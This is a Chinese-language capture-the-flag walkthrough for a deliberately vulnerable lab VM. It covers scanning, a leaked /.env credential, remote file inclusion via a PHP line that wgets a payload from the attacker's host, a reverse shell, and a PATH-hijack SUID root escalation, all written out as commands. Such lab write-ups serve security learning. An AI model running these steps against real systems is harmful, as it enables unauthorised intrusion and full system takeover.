靶机下载地址。下载完成后,在VirtualBox中导入虚拟机,系统处理器修改为2,网卡配置修改为桥接。
信息收集
主机发现
扫描攻击机同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4
靶机ip:192.168.31.218
端口扫描
nmap 192.168.31.218 -A -p- -T4
开放了22,80端口。
目录扫描
访问http服务,首页显示是一个搜索引擎。测试发现点击search后跳转到/search.php,其实就是拼接到谷歌url后通过谷歌搜索,没什么信息。
dirsearch目录扫描。
dirsearch -u http://192.168.31.218
访问/.env,得到一个数据库用户名和密码:
hiraman:MyD4dSuperH3r0!
访问/robots.txt,提示还有其他搜索页面。
换个字典再扫描。
gobuster dir -u http://192.168.31.218 -w directory-list-2.3-small.txt -x html,php,js,jpg,png,txt
成功找到另一个搜索页面/search1.php。
渗透
文件包含漏洞
访问serach1.php,页面对比发现search.php多了一个topnav盒子。
F12检查元素发现三个参数find,Me,FUZZ,看这个样子可以考虑文件包含。测试后发现不是这三个参数。
是否还有其他参数。WFUZZ工具模糊测试参数。
wfuzz -c -u http://192.168.31.218/search1.php?FUZZ=/etc/passwd -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt --hw 288
得到参数me。
search1.php?me=/etc/passwd 通过passwd文件发现几个用户hacksudo,monail,john,search。
getshell
利用远程文件包含漏洞getshell。在攻击机创建两个文件,分别是exec.php,test.php。文件包含exec.php,让靶机下载test.php。
# exec.php
<?php system('wget http://192.168.31.219:8000/test.php'); ?>
test.php的内容就是反弹shell代码(直接用kali自带的即可)。
在文件所在目录开启简易http服务python -m http.server
,然后包含exec.php。
可以看到靶机访问了我们准备好的两个php文件。
nc开启监听,访问test.php即可等待监听上线。
getshell
# 交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
当前用户权限低,什么都看不了,最后看wp知道原来/.env里面的密码就是hacksudo的密码,直接切换到hacksudo用户。
get user.txt!
suid提权
找suid权限的文件。
find / -perm -u=s -type f 2>/dev/null
其中/home/hacksudo/search/tools/searchinstall值得关注。
进入后查看searchinstall.c发现其实就是使用了install命令。
GTFOBins查一下install命令如何提权。
export //新增,删除,修改,显示当前系统定义的所有环境变量
$PATH //仅查看当前运行命令的查找路径,以:分割不同路径
提权步骤:
1、tmp目录下创建一个install。
2、赋予该文件执行权限并使用export命令将install添加进PATH中。
在PATH
提供的多个路径中,排在前面的会优先进行搜索,所以这里是export PATH=/tmp:$PATH。扩展:export命令修改PATH的生效时间:立即生效;生效期限:当前终端有效,窗口关闭后无效;生效范围:仅对当前用户有效。
echo '/bin/bash' > install
chmod 777 install
export PATH=/tmp:$PATH
执行searchinstall,获得root权限。
get root.txt!🎆